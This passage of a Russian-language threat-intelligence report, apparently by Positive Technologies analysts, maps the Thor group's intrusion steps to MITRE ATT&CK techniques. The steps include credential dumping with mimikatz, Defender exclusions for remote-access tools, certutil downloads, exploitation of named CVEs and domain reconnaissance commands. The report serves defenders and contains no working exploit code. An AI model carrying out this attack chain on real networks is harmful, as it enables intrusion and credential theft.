Command and Scripting Interpreter: Visual Basic

Группировка Thor использовала в своих атаках различные visual-basic-скрипты

Persistence

T1543.003

Create or Modify System Process: Windows Service

Группировка Thor обеспечивала закрепление путем установки MeshAgent и Tactical RMM в виде служб

T1136.001

Create Account: Local Account

Группировка Thor создавала учетные записи srv

T1098.007

Account Manipulation: Additional Local or Domain Groups

Группировка Thor добавляла ранее созданного пользователя srv в группу локальных администраторов

T1053

Scheduled Task/Job

Группировка Thor создавала запланированные задачи

 

T1133

External Remote Services

Группировка Thor подключилась к почтовым ящикам сотрудников через Outlook Web Access (OWA)

Privilege Escalation

T1548

Abuse Elevation Control Mechanism

Группировка Thor использовала общедоступную утилиту GodPotato для повышения привилегий

T1078.002

Valid Accounts: Domain Accounts

Группировка Thor использовала доменные учетные записи для перемещения внутри сети и развития атаки

T1078.003

Valid Accounts: Local Accounts

Группировка Thor использовали созданную локальную учетную запись пользователя srv для подключения по протоколу RDP

Defense Evasion

T1078

Valid Accounts

Группировка Thor выполняла Kerberos-аутентификацию по протоколу SSH и через корпоративный VPN с использованием скомпрометированных учетных данных для получения доступа к узлам внутренней сети

T1562

Impair Defenses

Группировка Thor загружала и запускала PowerShell-сценарии, предназначенные для добавления утилит Tactical RMM и MeshAgent в исключения EPP Windows Defender

T1218

System Binary Proxy Execution

Группировка Thor запускала нативную утилиту Windows setx.exe для установки переменных окружения и нативной утилиты для конфигурации Windows Server

T1027

Obfuscated Files or Information

Группировка Thor шифровала полезную нагрузку с помощью метода кодирования Base64

Credential Access

T1003

OS Credential Dumping

Группировка Thor использовала инструменты secretsdump и mimikatz для извлечения данных учетных записей

T1552.004

Unsecured Credentials

Группировка Thor получала значение SharePoint ASP.NET machineKey при эксплуатации уязвимости CVE-2025-53770

Discovery

T1018

Remote System Discovery

Группировка Thor тестировала сетевое соединение через команду Test-NetConnection для проверки доступности удаленных систем перед загрузкой реверс-шелла

T1482

Domain Trust Discovery

Группировка использовала утилиту ADRecon для разведки домена Active Directory, результаты записывались в файл C:/Users/srv/Desktop/ADRecon-Report-date.zip, который в последствии просматривался злоумышленником

T1046

Network Service Discovery

Группировка Thor собирала информацию о сервисах для последующей эксплуатации уязвимостей

T1016

System Network Configuration Discovery

Группировка Thor применяла инструмент ADRecon для сбора информации

T1082

System Information Discovery

Группировка Thor использовала команды systeminfo и whoami /priv для получения информации об узле, включая данные о системе, текущем пользователе и его привилегиях

T1057

Process Discovery

Группировка использовала команду tasklist и нативные утилиты Windows для получения перечня текущих процессов на скомпрометированном узле

T1083

File and Directory Discovery

Группировка Thor выполняла команду dir C:\users\public и type C:/users/public/res.txt для получения перечня содержимого папки C:\Users\Public и создания (чтения) файла res.txt

T1482

Domain Trust Discovery

Группировка Thor выполняла команды nltest /dclist для получения перечня доменных контроллеров и nltest /trusted_domains для получения перечня доверенных доменов

T1087.002

Account Discovery: Domain Account

Группировка Thor запускала нативную утилиту Windows quser для получения сведений о сеансах пользователей на сервере узла сеансов удаленных рабочих столов

T1033

System Owner/User Discovery

Группировка Thor выполнила команду whoami для определения текущего пользователя

T1069

Permission Groups Discovery

Группировка Thor запускала общедоступную утилиту ADRecon для проведения разведки домена Active Directory

Lateral Movement

T1021.001

Remote Services: Remote Desktop Protocol

Группировка Thor использовала данные RDP-пользователей, в том числе ранее созданные для перемещения по сети

T1021.002

Remote Services: SMB/Windows Admin Shares

Группировка Thor пыталась использовать SMB-подключения для перемещения между узлами

T1021.004

Remote Services: SSH

Группировка Thor выполняла Kerberos-аутентификацию по протоколу SSH с использованием скомпрометированных учетных данных

T1210

Exploitation of Remote Services

Группировка Thor использовала уязвимость CVE-2020-1472 для дальнейшего перемещения по сети

T1550.003

Use Alternate Authentication Material: Pass the Ticket

Группировка Thor пыталась выполнить Kerberos-аутентификацию для подключения к узлам с использованием ранее скомпрометированной учетной записи пользователя

Collection

T1213.001

Data from Information Repositories: Confluence

Группировка Thor собирала информацию из различных пространств системы Atlassian Confluence

T1114

Email Collection

Группировка Thor скомпрометировала данные электронных почт сотрудников и получила доступ к ряду почтовых ящиков, потенциально содержащих конфиденциальную информацию

Command And Control

T1219

Remote Access Tools

Группировка Thor устанавливала Tactical RMM и MeshAgent для получения удаленного доступа и управления

T1105

Ingress Tool Transfer

Группировка Thor использовала certutil для загрузки различных PowerShell-скриптов, а также загружала такие утилиты, как GodPotato, Cobalt Strike и т. д.

T1071.001

Application Layer Protocol: Web Protocols

Группировка Thor использовала веб-протоколы для доставки полезных нагрузок и обмена данными 


Александр Бадаев, специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Климентий Галкин, специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Владислав Лунин, ведущий специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности Positive Technologies

Комментарии (0)